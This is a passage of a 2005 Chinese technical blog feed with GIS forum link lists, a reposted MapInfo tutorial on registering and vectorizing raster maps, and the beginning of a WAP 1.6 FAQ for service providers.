color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1196</FONT></A><BR>20.MapX5的中文开发指南：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=623" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=623</FONT></A><BR>21.MapX 中文帮助，缺少中文教材的同志快下：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=429" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=429</FONT></A><BR>22.MAPX中文培训教材：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=631" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=631</FONT></A><BR>23.MapX5 发现BUG的官方报告：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2290" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2290</FONT></A><BR>24.MapX中的专题图分析：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2343" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2343</FONT></A><BR>25.MapX开发培训PPT：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2392" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=2392</FONT></A></P>
<P>MapXtreme for Windows板块(6个) ......<BR>1.MapXTreme for windows性能测试报告：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=553" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=553</FONT></A><BR>2.解决mapxtreme for NT，非地球坐标系出现的问题：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=1193" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=1193</FONT></A><BR>3.Mapinfo 公司内部使用的 MapXtreme培训（.ppt）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=922" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=922</FONT></A><BR>4.MapXtreme for Windows中文培训教材：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=680" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=680</FONT></A><BR>5.mapxtreme 入门教程：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=665" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=665</FONT></A><BR>6.MapXtreme for Windows中文发行文档：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=682" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=9&ID=682</FONT></A></P>
<P>MapXtreme for Java板块(14个) ......<BR>1.在IBM双CPU的机子上注册MapXtreme for Java：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=426" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=426</FONT></A><BR>2.如何在MapXtreme里实现地图鹰眼功能：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=854" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=854</FONT></A><BR>3.如何正确注册MapXtreme for java：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1066" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1066</FONT></A><BR>4.MapXtreme for Java在Solaris7上安装步骤：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=434" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=434</FONT></A><BR>5.MapXtreme for Java性能调优：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1170" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1170</FONT></A><BR>6.如何在mapxtreme for java4 .5环境中发布新应用：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1008" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1008</FONT></A><BR>7.成功解决mapxtrmem java汉字显示的问题！：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1699" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1699</FONT></A><BR>8.使用MAPXTREME开发，查找的结果如何高亮显示：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1194" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1194</FONT></A><BR>9.在MapXtreme如何让查询选中的目标高亮显示：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=853" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=853</FONT></A><BR>10.MapXtreme for java中自定义符号：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=766" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=766</FONT></A><BR>11.Linux下MXTJ 4.7下完全配置手册：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1417" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1417</FONT></A><BR>12.MapXtreme for Java4.7新功能介绍：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=433" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=433</FONT></A><BR>13.关于鹰眼实现：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1133" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=1133</FONT></A><BR>14.在jbuilderX中建立mapxtreme java4.7应用学习笔记（毫无保留）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=2719" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=11&ID=2719</FONT></A></P>
<P>MapInfo.Net板块(3个) ......<BR></P>
<P>Oracle Spatial板块(20) ......<BR>1.在Solaris7上安装Oracle8.1.6/8.1.7：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=442" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=442</FONT></A><BR>2.OO4O对Oracle 9i Spatial的空间数据访问及管理：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=1325" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=1325</FONT></A><BR>3.Oracle Spatial与WEB GIS：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=1292" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=13&ID=1292</FONT></A><BR></P>
<P>GIS理论研讨区板块(12个) ......<BR>1.应用深度优先和广度优先做最短路径分析：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=917" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=917</FONT></A><BR>2.基于Java的可伸缩性B/S模式系统结构：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=1163" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=1163</FONT></A><BR>3.地理坐标系统简介：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=439" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=24&ID=439</FONT></A><BR></P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
<TBODY>
<TR>
<TD align=left><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=165" /> 
	  <id>http://www.openx.cn/default.asp?id=165</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MapInfo矢量化栅格地图]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-24T15:55:39+08:00</updated>
	  <published>2005-11-24T15:55:39+08:00</published>
		  <summary type="html"><![CDATA[在mapinfo中矢量化可以的。<BR>方法一：其它作图软件画的地图转化成mif文件，在mapinfo中可以打开使用。但是坐标需要转换. 
<P></P>
<P></P><BR>方法二：地图首先要是栅格图像<BR>具体如下：<BR>&nbsp;&nbsp;2.2栅格图像<BR>&nbsp;&nbsp; 栅格图像是由一行行细小的点（称作像素）组成，所以也可以称之为位图。无论是建立<BR>后所述的图层概念与进行表现空间的数据，首先应在mapinfo中引入栅格图像，所以栅格图像<BR>是后续工作即图层分解的基础，又称作基图。<BR>2.2.1栅格图像的获取<BR>&nbsp;&nbsp; 获取栅格图像可由以下几种途径取得：&nbsp;&nbsp;1、利用扫描仪创建栅格图像软件或由数码相机提供的图像直接调入。<BR>&nbsp;&nbsp; 2、通过图形软件包将图像保存或转储为栅格文件格式，例如tif（标记图像文件格式），<BR>&nbsp;&nbsp; 这样就可以在图形软件包中创建一个tif文件。&nbsp;&nbsp;3、从mapinfo或其它销售商那里购买<BR>&nbsp;&nbsp; 已配准好的栅格图像。&nbsp;&nbsp; <BR>&nbsp;&nbsp; 图像配准在以下详述。<BR>&nbsp;&nbsp; mapinfo可显示多种格式的栅格图像，但不论什么格式，最大支持图像大小为16000*16000<BR>&nbsp;&nbsp; 像素。在使用栅格图像时最好采用更高分辨率的视频显示器。mapinfo支持以下七种栅格<BR>&nbsp;&nbsp; 图像格式：&nbsp;&nbsp;文件名.gif(图形交换格式)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件名.jpg(jpeg格式)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件名.tif(标记图像文件格式)&nbsp;&nbsp; 文件名.pce(isft画笔格式)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件名.bmp(windows位图)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文件名.tga(Targa)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件名.bll(spot卫星图像)<BR>&nbsp;&nbsp;mapinfo还可以读入以下类型的栅格图像：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 黑白图像（黑白图像的每个像素不是黑色就是白色，这种图像所占空间最少，<BR>&nbsp;&nbsp;&nbsp;&nbsp; 且显示得最快。黑白图像也可以显示为两种不同浓度的灰色。）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 灰度图像（彩色图像中的每个像素可能是黑色、白色或是某种浓度的灰色。）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 彩色图像（彩色图像中的每个像素可以是调色板中的任何一种可用的颜色。可用的<BR>颜色集部分地依赖图像文件格式和图像来源。一幅8位彩色的图像中每个像素有8位，即1字节<BR>的描述信息，这意味着图像具有256色的调色板。一幅24位彩色的图像中每个像素有24位，即<BR>3字节的描述信息，这样的图像具有超过一千六百万种颜色的调色板。）<BR>2.2.2栅格图像用途<BR>&nbsp;&nbsp;将栅格图像引入mapinfo中，可以有以下几种用途。<BR>&nbsp;&nbsp;1、用作普通地图的蓝本（用mapinfo进行地图处理，只需将纸张地图、照片或其它形式的图像<BR>引入，便可以在地图窗口中显示。）<BR>&nbsp;&nbsp;2、用作mapinfo地图的背景（采用栅格图像作为地图的基础图层，可使其它图层有一个更细腻<BR>的背景。可以容易地修改图像显示的大小、图例、中心点，在水利工作中常常需要对局部广大，<BR>以满足不同的需求。）<BR>&nbsp;&nbsp;3、作为一幅单独的图像（在有些场合，需要显示一幅图像，可单独显示或与其它图层或专题<BR>mapinfo地图组成页面布局。例如，你可以在一幅图面上显示某一工程的图像、地理位置、文字<BR>说明、表格，形成页面布局。）<BR>&nbsp;&nbsp;4、地图编辑（作为地图编辑建立矢量地图，是gis最常用的做法，这时的栅格图像是进行<BR>图层分解的基图。&nbsp;&nbsp;在mapinfo中，可以在矢<BR>&nbsp;&nbsp;2.5栅格图像处理<BR>2.5.1栅格图像的预处理<BR>&nbsp;&nbsp;&nbsp;&nbsp;进行地理信息系统的创建，首先要进行栅格图像的预处理。所谓预处理，是指纸张地图未<BR>&nbsp;&nbsp;&nbsp;&nbsp;输入计算机之前的处理。预处理的项目应根据建立gis的设计和需求来决定，因此首先应做好需求分析<BR>&nbsp;&nbsp;&nbsp;&nbsp;，然后根据需求分析制定纸张地图所要包括的内容。因为纸张地图一旦输入计算机，由于一系列的图像配准<BR>&nbsp;&nbsp;&nbsp;&nbsp;、地图对象矢量化、建立数据库等工作量浩大，而由于在进入计算机前的图像未能考虑，再重新<BR>&nbsp;&nbsp;&nbsp;&nbsp;更换栅格图像是一件十分不容易的事，因为在mapinfo中图、表包括图表的路径已建立了紧密<BR>&nbsp;&nbsp;&nbsp;&nbsp;的联系，除非一切重来。<BR>&nbsp;&nbsp;1、确定纸张地图的比例（建立gis系统，其中可进行研究的内容将随着人们认识的深化会提出<BR>&nbsp;&nbsp;&nbsp;&nbsp;更加广泛的内容，它可以应用于本专业的各个领域，因此，在确定栅格图像输入前的纸张地衅<BR>&nbsp;&nbsp;&nbsp;&nbsp;的比例，应留有较宽裕的余地，但也应当注意，随着图幅的增大，将会使图形拼接带来一定的误<BR>&nbsp;&nbsp;&nbsp;&nbsp;差。从水利及各行业应用的情况看，在几千到一万平方公里范围内的区域均采用1：5万的地形<BR>&nbsp;&nbsp;&nbsp;&nbsp;图较合适，如作为示意图，亦可采用1：20或1：50万的地图。但对今后研究内容的扩展将带来<BR>&nbsp;&nbsp;&nbsp;&nbsp;一定的局限。）<BR>&nbsp;&nbsp;2、确定纸张地图的内容（一幅纸张地图，应包含以后分析的所有项目，所以应充分进行调查<BR>&nbsp;&nbsp;&nbsp;&nbsp;研究，集思广益，充分考虑纸张地图的内容。&nbsp;&nbsp;&nbsp;&nbsp;以下以建立防洪防旱gis系统为例说明纸张地图<BR>&nbsp;&nbsp;&nbsp;&nbsp;应包括的内容：&nbsp;&nbsp;县市行政区划、乡镇信息、水利基本情况、历年水利建设成就、水系图、边界水系图、<BR>&nbsp;&nbsp;&nbsp;&nbsp;市区防汛排涝图、主要河道、境外河道、梯级河道、重要堤防、滞洪区、历年洪涝灾害发生区、<BR>&nbsp;&nbsp;&nbsp;&nbsp;典型时段降水量分布等。每一项内容都必须在同一张图纸上用不同线型或不同颜色标出。至此，<BR>&nbsp;&nbsp;&nbsp;&nbsp;栅格图像的预处理完成。）<BR>2.5.2确定栅格图像的坐标体系<BR>&nbsp;&nbsp;&nbsp;&nbsp;任何一幅地图都有其特定的坐标体系，在讨论坐标体系之前，首先应建立投影的概念。众<BR>&nbsp;&nbsp;&nbsp;&nbsp;所周知，地球是球形体且表面呈曲面状，现实的地图是在平面图纸和大致平坦的计算机屏幕上表示<BR>&nbsp;&nbsp;&nbsp;&nbsp;。为实现这种转换，必须依*投影和坐标系。投影是把地球表面的特征换算成一个二维表面的位置，<BR>&nbsp;&nbsp;&nbsp;&nbsp;即以平面表现地球对象。&nbsp;&nbsp;mapinfo的缺省地图投影（经/纬度）实际是一种等距离的柱面投影，<BR>&nbsp;&nbsp;&nbsp;&nbsp;它使用经纬度坐标系。该投影被成为longitude/latitude，这表示当选择它时，用户必须使用<BR>&nbsp;&nbsp;&nbsp;&nbsp;经/纬度。纬度是地图上的垂直线，连接南极和北极，用于描述一点的东西方向的位置，在地图<BR>&nbsp;&nbsp;&nbsp;&nbsp;作为y.经度是地图上的水平线，它从赤道的0度增加到90度（+90.0度）和南极90度（-90.0度）<BR>&nbsp;&nbsp;&nbsp;&nbsp;的两极，用于描述一个点的南北方向的位置，在地图中作为x. mapinfo提供有300多个预定义<BR>&nbsp;&nbsp;&nbsp;&nbsp;的坐标系，用户可以通过改变一个预定义的参数或者从头开始定义新的坐标系。 在水利地理<BR>&nbsp;&nbsp;&nbsp;&nbsp;信息系统中，所选图幅较大，表征水利及水文点矢量时均采用经/纬度坐标体系，因此建议采用<BR>&nbsp;&nbsp;&nbsp;&nbsp; 经/纬度坐标体系。取得图像的经纬度，一般采取以下方法：<BR>&nbsp;&nbsp; 1、选择带有经/纬度坐标的图形，一般在航测图中均有。<BR>&nbsp;&nbsp; 2、从其它带有经/纬度坐标的地图中读取，读取的原则是找一些容易辩认的特征点，在道路<BR>&nbsp;&nbsp;&nbsp;&nbsp; 交*点或河流交*点或有考证的水文、水位、雨量测站中读取，尽量读取准确。<BR>&nbsp;&nbsp; 3、利用最新的全球定位系统gps到现场定位，精度最高可达十几米。<BR>&nbsp;&nbsp; 4、栅格图像配准后直接读取<BR>2.5.3栅格图像的显示<BR>&nbsp;&nbsp;&nbsp;&nbsp; 在一个窗口中，可以同时显示多幅栅格图像，它只受计算机内存大小的限制。打开栅格<BR>&nbsp;&nbsp;&nbsp;&nbsp; 图像的步骤如下：<BR>&nbsp;&nbsp;&nbsp;&nbsp;1、选择"文件&gt;打开表"命令，出现"打开表"对话框。<BR>&nbsp;&nbsp;&nbsp;&nbsp;2、下拉文件类型选择打开栅格图像文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;3、选择文件夹，将已存入目录的图像文件显示在对话框中。<BR>&nbsp;&nbsp;&nbsp;&nbsp;4、选择图像文件并单击"打开"按钮，稍候一幅图像调入图像窗口中。见图2.5。<BR>&nbsp;&nbsp;&nbsp;&nbsp;经验之谈：当打开一幅栅格图像时，mapinfo则自动建立一组文件，即文件名相同，而扩展<BR>&nbsp;&nbsp;&nbsp;&nbsp;名不同的四个文件，这四个文件将自动存入栅格图像的目录中，以后打开该表时，会同时打开四<BR>&nbsp;&nbsp;&nbsp;&nbsp;个文件，缺一不可。<BR>2.5.4栅格图像的拼接 
<P></P>
<P></P><BR>&nbsp;&nbsp;&nbsp;&nbsp;通常所选取的纸张均为1：5万、1：10万或更大比例尺，这样难免需要用多张图纸<BR>来拼接，当拼接多幅图纸时，若考虑不周或操作不当，会给拼接后的整幅图纸带<BR>来较大的误差，使以后形成的矢量对象难以定位，造成无法应用或给空间分析带<BR>来不能反映真实情况的后果，为此，在拼接图纸时应十分谨慎地进行。拼接图纸可<BR>在Adobe Photoshop环境内实施。&nbsp;&nbsp;在 Photoshop内选中欲编辑的文件名（001、002），<BR>如图2.6，单击打开，两幅图像调入内存。&nbsp;&nbsp;调整好两幅图像的方向，根据所拼接<BR>图像大小新建呈空白图纸界面。利用图形编辑工具将两幅图形拼接，具体操作见photoshop<BR>使用手册。<BR>&nbsp;&nbsp; 利用Photoshop环境中将所有栅格图像拼接后引入、Mapinfo进行配准，固然能实施<BR>图形矢量化等后续工作，但由于目前受计算机速度和容量的硬件条件的限制，一整<BR>幅栅格图像如用1：5万地图描述几千至几万平方公里的图形，其数据量是非常庞大<BR>的，单进黑白像的容量会有50M以上，会形成以下几方面的问题。<BR>&nbsp;&nbsp; 1、打开、关闭时间长；以目前最大主频PIII450M机型，单是打开一幅图形就需<BR>1小时，如有意外中断，将会前功尽弃，不利于数据交换。<BR>&nbsp;&nbsp; 2、数据量大：现在使用的1.44M。3.5寸软盘仅能保存1/2张一号图纸的信息，<BR>比例为1：5万、面积为1万平方公里的图像信息量为50M左右，必须以光盘为存储介质，<BR>因此应选择较为合适的图形拼接方式。解决的办法是利用其它专用软件，或在<BR>mapinfo环境中进行，这就需要多方面的软件来集成此功能。<BR>2.5.5栅格图像的调整 
<P></P>
<P></P><BR>&nbsp;&nbsp;&nbsp;&nbsp;在地图窗口中显示了一幅栅格图像后，并不一定满足实际应用的需要，可以调<BR>整图像的颜色，对比度和亮度，将颜色转换为灰度，使颜色透明，放大或缩小栅格图像，<BR>具体操作如下：<BR>&nbsp;&nbsp; 调整颜色&nbsp;&nbsp;&nbsp;&nbsp;选择"表&gt;栅格图像&gt;调整图像样式"命令（如图2.7所示）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以在"调整图像样式"对话框中（如图2.8所示）重设图像的颜色 <BR>&nbsp;&nbsp; 调整对比度和亮度&nbsp;&nbsp; 调整栅格图像的对比度和亮度将使地图可看性更好，当在<BR>栅格图像上覆盖其它的地图图层时，可能难以区分栅格图像中的线和其它图层中的<BR>线。此时可以改变对比度和亮度以便更容易地区分各图层。要使栅格图像显示得<BR>更柔和，可进行以下操作：<BR>&nbsp;&nbsp; 1、在图2.8中的对话框中减小对比度滚动条的设置，例如30％（缺省对比度设置<BR>为50％）。<BR>&nbsp;&nbsp; 2、增大亮度滚动条的位置，例如70％（缺省亮度设置为50％）。<BR>&nbsp;&nbsp; 3、观察对话框下半部的图像预览，如果新的显示样式符合的要求，选择"确定"<BR>按钮。 如果仍想使用以前的显示样式，则选择"取消"按钮。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;将颜色转换为灰度&nbsp;&nbsp; 在图2.8"调整图像样式"对话框的"转换"分组框中<BR>单击"灰度"即可，要取消转换，则单击"原图像"按钮。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使颜色透明 <BR>&nbsp;&nbsp;可以将图像中的一种颜色设为透明。这样可以使该颜色盖住的那部分矢量地图<BR>图层显示现出来。在图2.8"调整图像样式"对话框中，选中"透明"复选框以激活<BR>"选择颜色"按钮。单击"选择颜色"按钮，要选择欲使其透明的颜色，在预览图像<BR>中单击该颜色，所选中的即出现在"选择颜色"按钮左边的框中。透明色在预览图像<BR>中显示为白色。当重新显示地图窗口中的图像时，所选中的颜色已变为透明。<BR>2.6配准栅格图像<BR>&nbsp;&nbsp; 配准一幅栅格图像很重要的一点是提供准确的控制点信息。控制点首先应考虑<BR>在整幅图形的中心，并在四周均匀分布，每一幅图像最基本的控制点的选取要求<BR>为四个，但为了使配准精度提高，可以适当的增加控制点，整幅图形控制点的个数<BR>一般在20个以上，一般来说控制点的数量越多，图像精度越高。控制点最好是通过<BR>实地考证的地方。<BR>&nbsp;&nbsp; 图像的配准有两种方法，两种方法都需在参考地图上指定控制点的地图坐标，<BR>并将它们与图像上的相应匹配。&nbsp;&nbsp; 
<P></P>
<P></P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.6.1在纸张地图上标出坐标 
<P></P>
<P></P><BR>&nbsp;&nbsp; 在2.2中已讨论了纸张地图的预处理及坐标体系的确定。这时可将处理的地图<BR>扫描成图像，然后读出需配准的坐标，执行下述步骤配准该图像。<BR>&nbsp;&nbsp;1、选择"文件&gt;打开表"，"打开表"对话框出现。<BR>&nbsp;&nbsp;2、从"文件类型"下拉列表中选择"栅格图像"，mapinfo显示栅格图像文件清单。<BR>&nbsp;&nbsp;3、选中要打开的栅格图像文件并选择"打开"、mapinfo显示"图像配准"对话框<BR>"想简单地显示未配准的图像，或配准它使它具有地理坐标？"，见图2.9。选择<BR>"配准"，该栅格图像的一个预览出现在对话框的下半段。 
<P></P>
<P></P><BR>&nbsp;&nbsp;4、通过选择"投影"按钮并完成"选择投影"对话框来设定该图像的地图投影。<BR>&nbsp;&nbsp; 如果通过扫描纸张地图创建栅格图像，该纸张地图应包含所用的地图投影信息。<BR>如果不能确定地图投影，使用缺省地图投影（经/纬度）。选择"确定"。<BR>&nbsp;&nbsp;5、把鼠标光标移到对话框下半段的预览图像上，并移到一个已知地图坐标（例如经/纬度）<BR>的点，再单击鼠标按钮。mapinfo显示"增加控制点"对话框。<BR>&nbsp;&nbsp;6、通过输入对应于在地图图像上单击位置的地图坐标，完成"增加控制点"对话<BR>框。选择"确定"。<BR>&nbsp;&nbsp;7、重复步骤5和6，直到输入最少四个控制点。在x坐标输入经度，在y坐标上<BR>输入纬度。理想地，当为拼接图像是时，在每一幅图像的每个角至少有四个控制点。<BR>所需的控制点数依赖于栅格图像的性质。如果不能确定地图投影或使用没有实际<BR>地图投影的图像，例如航空照片，要输入更多的控制点。<BR>&nbsp;&nbsp;8、完成增加控制点后选择"确定"。mapinfo把该栅格图像显示在地图窗口中。<BR>完成"图像配准"对话框后，mapinfo把配准信息保存到一个表文件（.tab）中。在以<BR>后的mapinfo调用中，通过选择"文件&gt;打开表"，不再重复配准过程，不必再在"打开<BR>表"对话框中选择"栅格图像"作为文件类型，就可以重新打开此图像。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;2.6.3坐标的单位和换算 
<P></P>
<P></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp; 在mapinfo中以度形式输入地图坐标时，输入的坐标值必须是十进制，也就是输入小数<BR>度而不是度/分/秒。例如，要指定坐标传值40度30分，应输入40.5度。坐标转换方法如下：<BR>&nbsp;&nbsp; 1、利用公式手工计算&nbsp;&nbsp;&nbsp;&nbsp;利用以下公式可以将分、秒转换成十进制的坐标值<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;小数度值=度值+（分值/60）十（秒值/3600)<BR>&nbsp;&nbsp;如40度30分就等于40+（30/60）+(0/3600)=40.5度。<BR>&nbsp;&nbsp; 2、利用工具菜单中的转换器转换坐标&nbsp;&nbsp;<BR>&nbsp;&nbsp;在mapinfo工具菜单中，提供了转换经、纬度的强大的命令。见图2.10。分别有三种方式：<BR>（1）转换列成DMS：将列由原来的十进制转换成60进制。<BR>（2）转换成十进制数：将列由原来的60进制转换成十进制。<BR>（3）经纬度计算器：作为计算器使用，逐个进行转换。<BR>（1）和（2）适合对大量的表格内的数据进行转换，只需用户选择相应的列，随菜单提示<BR>操作。在进行对表格中的数据进行转换时，在表中应事先开辟二个空列，以使转换后的数据<BR>写入，还必须十分清楚地清楚哪列是以表示，哪列为十进制，以六十进制表示则以"，"分隔<BR>度和分值，而换算后的十进制的数则用"。"表示。而（3）只适合对逐个数据的转换。</P>
<P>&nbsp;</P>
<P>摘:http://www.chinagis.com.cn:8080/bbs/dispbbs.asp?boardid=2&id=51&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=164" /> 
	  <id>http://www.openx.cn/default.asp?id=164</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WAP1.6 FAQ（面向SP）]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-22T22:45:12+08:00</updated>
	  <published>2005-11-22T22:45:12+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>1、对SP来说，WAP业务的接入流程及步骤具体怎样？</STRONG><BR>答：WAP业务的接入流程及步骤具体如下：<BR><BR>序号<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->步骤<BR>1<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->将WAP业务的产品或应用程序开发好<BR>2<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->向移动公司提交申请<BR>3<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->移动公司对SP提交的WAP业务进行内容评审<BR>4<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->内容评审通过后，跟卓望公司在深圳测试环境进行MISC接口及页面规范测试，主要是（Provision接口、页面访问接口、反向定购接口等）<BR>5<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->接口测试通过后，提交到现网环境进行上线接入测试<BR>6<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->现网待商用WAP业务拨测<BR>7<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->现网业务计费验证<BR>8<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->业务正式商用及跟移动签订合约</P>
